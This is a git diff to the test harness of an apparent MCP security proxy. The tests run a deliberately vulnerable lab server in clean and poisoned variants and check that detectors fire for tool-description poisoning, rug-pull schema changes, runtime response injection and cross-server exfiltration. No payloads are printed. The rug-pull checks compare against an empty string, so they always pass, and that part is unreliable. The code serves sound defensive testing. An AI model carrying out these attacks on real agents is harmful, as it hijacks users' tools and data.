port = parsed.hostname, parsed.port + + deadline = time.time() + timeout + last_error = None + while time.time() < deadline: + try: + _reader, writer = await asyncio.open_connection(host, port) + writer.close() + await writer.wait_closed() + return + except OSError as e: + last_error = e + await asyncio.sleep(0.3) + raise RuntimeError(f"{url} never came up: {last_error}") + +async def start_filesrv(variant: str): env = os.environ.copy() + env["HOST"] = "127.0.0.1" + env["PORT"] = "8001" env["WATCHTOWER_VARIANT"] = variant - - server_params = StdioServerParameters( - command=sys.executable, - args = ["proxy.py"], - cwd=str(REPO_ROOT / "proxy"), + return await asyncio.create_subprocess_exec( + sys.executable, + str(REPO_ROOT / "vulnerable-server" / "server.py"), env=env, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.STDOUT, ) - async with ( - stdio_client(server_params) as (read, write), - ClientSession(read, write) as session, - ): - await session.initialize() - tools = await session.list_tools() - for t in tools.tools: - if t.name == "filesrv_check_status": - print(f" check_status description: {t.description!r}") +async def stop_proc(proc) -> None: + proc.terminate() + try: + await asyncio.wait_for(proc.wait(), timeout=5) + except TimeoutError: + proc.kill() + +async def get_check_status_description(session: ClientSession) -> str: + tools = await session.list_tools() + for t in tools.tools: + if t.name == "filesrv__check_status": + return t.description or "" + raise RuntimeError("filesrv__check_status not found in tool list") async def main(): - print("=== Connection 1: WATCHTOWER_VARIANT=clean (expect no alert) ===") - await connect_and_list("clean") + filesrv_proc = await start_filesrv("clean") + + with tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) as f: + f.write(LOCAL_SERVERS_YAML) + servers_config_path = f.name + + proxy_env = os.environ.copy() + proxy_env["HOST"] = "127.0.0.1" + proxy_env["PORT"] = "8000" + proxy_env["WATCHTOWER_SERVERS_CONFIG"] = servers_config_path + proxy_env["WATCHTOWER_DB_PATH"] = str(REPO_ROOT / "proxy" / "watchtower.db") + + proxy_proc = await asyncio.create_subprocess_exec( + sys.executable, + str(REPO_ROOT / "proxy" / "proxy.py"), + cwd=str(REPO_ROOT / "proxy"), + env=proxy_env, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.STDOUT, + ) + + try: + await wait_for_url(FILESRV_URL) + await wait_for_url(PROXY_URL) + + print("=== Connection 1: filesrv clean (expect no rug-pull alert) ===") + async with ( + streamablehttp_client(PROXY_URL) as (read, write, _), + ClientSession(read, write) as session, + ): + await session.initialize() + desc = await get_check_status_description(session) + print(f" check_status description: {desc!r}") + + print() + print("=== Restarting filesrv with WATCHTOWER_VARIANT=poisoned (proxy must reconnect on its own) ===") + await stop_proc(filesrv_proc) + filesrv_proc = await start_filesrv("poisoned") + await wait_for_url(FILESRV_URL) + + print() + print("=== Connection 2: expect the proxy to have reconnected and see the poisoned description ===") + desc = None + last_error = None + for _ in range(15): + try: + async with ( + streamablehttp_client(PROXY_URL) as (read, write, _), + ClientSession(read, write) as session, + ): + await session.initialize() + desc = await get_check_status_description(session) + if "" in desc: + break + except Exception as e: # noqa: BLE001 + last_error = e + await asyncio.sleep(1) + + print(f" check_status description: {desc!r}") + assert desc is not None and "" in desc, ( + f"proxy never picked up the poisoned description (last connection error: {last_error})" + ) + print("\nOK: proxy reconnected to the restarted filesrv AND detected the rug pull") + finally: + await stop_proc(proxy_proc) + await stop_proc(filesrv_proc) + + proxy_output = (await proxy_proc.stdout.read()).decode(errors="replace") if proxy_proc.stdout else "" + print("\n=== proxy output ===") + print(proxy_output) + + Path(servers_config_path).unlink(missing_ok=True) - print() - print("=== Connection 2: WATCHTOWER_VARIANT=poisoned (expect RUG PULL alert) ===") - await connect_and_list("poisoned") if __name__ == "__main__": asyncio.run(main()) \ No newline at end of file diff --git a/tools/run_attack_simulation.py b/tools/run_attack_simulation.py index df701cd..2f4062a 100644 --- a/tools/run_attack_simulation.py +++ b/tools/run_attack_simulation.py @@ -18,13 +18,13 @@ from pathlib import Path REPO_ROOT = Path(__file__).parent.parent -DB_PATH = REPO_ROOT / "proxy" / "watchtower.db" +LOCAL_DB_PATH = REPO_ROOT / "proxy" / "watchtower.db" +DOCKER_DB_COPY_PATH = REPO_ROOT / "docker_watchtower.db" -SCENARIOS = [ - ("Static tool poisoning + rug-pull + runtime injection", "tests/test_proxy_e2e.py"), - ("Rug-pull via schema/description change across reconnects", "tests/test_rugpull_schema.py"), - ("Multi-server routing (plumbing sanity check)", "tests/test_multi_server_routing.py"), - ("Cross-server cascade exfiltration", "tests/test_cascade.py"), +SELF_CONTAINED_SCENARIOS = [ + ("Lab target sanity check", "tests/smoke_test.py"), + ("Static poisoning + policy + runtime injection", "tests/test_proxy_e2e.py"), + ("Rug-pull via schema change + reconnect", "tests/test_rugpull_schema.py"), ] def run_scenario(label: str, script: str) -> bool: @@ -41,80 +41,119 @@ def run_scenario(label: str, script: str) -> bool: check=False, ) ok = result.returncode == 0 - status = "OK" if ok else "FAILED (nonzero exit)" - print(f" {status}") + print(f" {'OK' if ok else 'FAILED (nonzero exit)'}") if not ok: print(result.stdout[-2000:]) print(result.stderr[-2000:]) print() return ok -def verify_detections() -> list[str]: - """Independently checks the DB for evidence each detector actually - fired at least once. Returns a list of failure messages (empty = all good). - - Retries a few times with a short sleep: on fast machines the very last - scenario's subprocess can exit a beat before its SQLite write is fully - visible to a fresh connection opened immediately after. A brief retry - absorbs that without masking a genuine detection failure -- if it's - still missing after several attempts, it's reported as a real failure. - """ - for attempt in range(5): - conn = sqlite3.connect(DB_PATH) - - flagged_calls = conn.execute("SELECT COUNT(*) FROM calls WHERE flags IS NOT NULL").fetchone()[0] - desc_findings = conn.execute("SELECT COUNT(*) FROM description_findings").fetchone()[0] - rug_pulls = conn.execute("SELECT COUNT(*) FROM tool_fingerprints WHERE last_flag = 'rug_pull'").fetchone()[0] - cascade_findings = conn.execute("SELECT COUNT(*) FROM cascade_findings").fetchone()[0] - conn.close() - - failures = [] - if flagged_calls == 0: - failures.append("no flagged calls found -- runtime response injection detection may be broken") - if desc_findings == 0: - failures.append("no description findings found -- static tool poisoning detection may be broken") - if rug_pulls == 0: - failures.append("no rug-pull detections found -- fingerprint-diff detection may be broken") - if cascade_findings == 0: - failures.append("no cascade findings found -- cross-server cascade detection may be broken") - - if not failures: - print( - f"Detection summary: {flagged_calls} flagged calls, {desc_findings} description " - f"findings, {rug_pulls} rug pulls, {cascade_findings} cascade findings -- all present.\n" - ) - return [] - - if attempt < 4: - print(f"[retry {attempt + 1}/5] some detections not yet visible, waiting 1s and rechecking...") - time.sleep(1) +def run_docker_scenario() -> bool: + print("--- Running: Full Docker Compose stack (cross-server cascade detection) ---") + + def run(cmd, **kwargs): + return subprocess.run(cmd, cwd=(REPO_ROOT), check=False, **kwargs) + + run(["docker", "compose", "up", "--build", "-d"]) + + print(" waiting for proxy to be reachable...") + up = False + for _ in range(30): + result = run( + ["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "http://localhost:8000/mcp"], + capture_output=True, + text=True, + ) + if result.stdout.strip(): + up = True + break + time.sleep(1) + + if not up: + print(" FAILED: proxy never became reachable") + run(["docker", "compose", "logs", "proxy"]) + run(["docker", "compose", "down", "-v"]) + return False + + test_result = run( + [sys.executable, "tests/test_docker_stack.py"], + capture_output=True, + text=True, + timeout=60, + ) + ok = test_result.returncode == 0 + print(f" {'OK' if ok else 'FAILED (nonzero exit)'}") + if not ok: + print(test_result.stdout[-2000:]) + print(test_result.stderr[-2000:]) + + DOCKER_DB_COPY_PATH.unlink(missing_ok=True) + run(["docker", "compose", "cp", "proxy:/app/data/watchtower.db", str(DOCKER_DB_COPY_PATH)]) + run(["docker", "compose", "logs", "proxy"]) + run(["docker", "compose", "down"]) + + print() + return ok +def verify_counts(db_path: Path, checks: dict) -> list: + if not db_path.exists(): + return [f"expected database at {db_path}, but it doesn't exist"] + + failures = [] + conn = sqlite3.connect(db_path) + for message, query in checks.items(): + count = conn.execute(query).fetchone()[0] + if count == 0: + failures.append(message) + conn.close() return failures - -def main() -> None: - DB_PATH.unlink(missing_ok=True) - scenario_results = [run_scenario(label, script) for label, script in SCENARIOS] - scenarios_ok = all(scenario_results) +def main() -> None: + LOCAL_DB_PATH.unlink(missing_ok=True) + + scenario_results = [run_scenario(label, script) for label, script in SELF_CONTAINED_SCENARIOS] + docker_ok = run_docker_scenario() + + print("=== Verifying self-contained detections against the database ===") + self_contained_failures = verify_counts( + LOCAL_DB_PATH, + { + "no flagged calls found -- runtime response injection detection may be broken": + "SELECT COUNT(*) FROM calls WHERE flags IS NOT NULL", + "no description findings found -- static tool poisoning detection may be broken": + "SELECT COUNT(*) FROM description_findings", + "no rug-pull detections found -- fingerprint-diff detection may be broken": + "SELECT COUNT(*) FROM tool_fingerprints WHERE last_flag = 'rug_pull'", + }, + ) - print("=== Verifying detections against the database ===") - detection_failures = verify_detections() + print("=== Verifying Docker-stack cascade detection against the database ===") + docker_failures = verify_counts( + DOCKER_DB_COPY_PATH, + { + "no cascade findings found -- cross-server cascade detection may be broken": + "SELECT COUNT(*) FROM cascade_findings", + }, + ) print("=== SUMMARY ===") - for (label, _), ok in zip(SCENARIOS, scenario_results): - print(f" [{'PASS' if ok else 'FAIL'}] {label}") + for (label, _), ok in zip(SELF_CONTAINED_SCENARIOS, scenario_results): + print(f" [{'PASS' if ok else 'FAIL'}] {label}") + print(f" [{'PASS' if docker_ok else 'FAIL'}] Full Docker Compose stack") - if detection_failures: + all_failures = self_contained_failures + docker_failures + if all_failures: print("\nDetection verification FAILED:") - for f in detection_failures: - print(f" - {f}") + for f in all_failures: + print(f" - {f}") - if scenarios_ok and not detection_failures: + if all(scenario_results) and docker_ok and not all_failures: print("\nALL CHECKS PASSED") sys.exit(0) else: print("\nATTACK SIMULATION FAILED -- see above") sys.exit(1) + if __name__ == "__main__": main() \ No newline at end of file diff --git a/vulnerable-server/server.py b/vulnerable-server/server.py index d38d05d..7707611 100644 --- a/vulnerable-server/server.py +++ b/vulnerable-server/server.py @@ -11,7 +11,11 @@ from mcp.server.fastmcp import FastMCP -mcp = FastMCP("watchtower-lab-target") +mcp = FastMCP( + "watchtower-lab-target", + host=os.environ.get("HOST", "127.0.0.1"), + port=int(os.environ.get("PORT", "8001")), +) _lookup_call_count = {"n": 0} @@ -70,4 +74,4 @@ def check_status(host_id: str) -> str: return f"Host {host_id} status: OK" if __name__ == "__main__": - mcp.run(transport="stdio") \ No newline at end of file + mcp.run(transport="streamable-http") \ No newline at end of file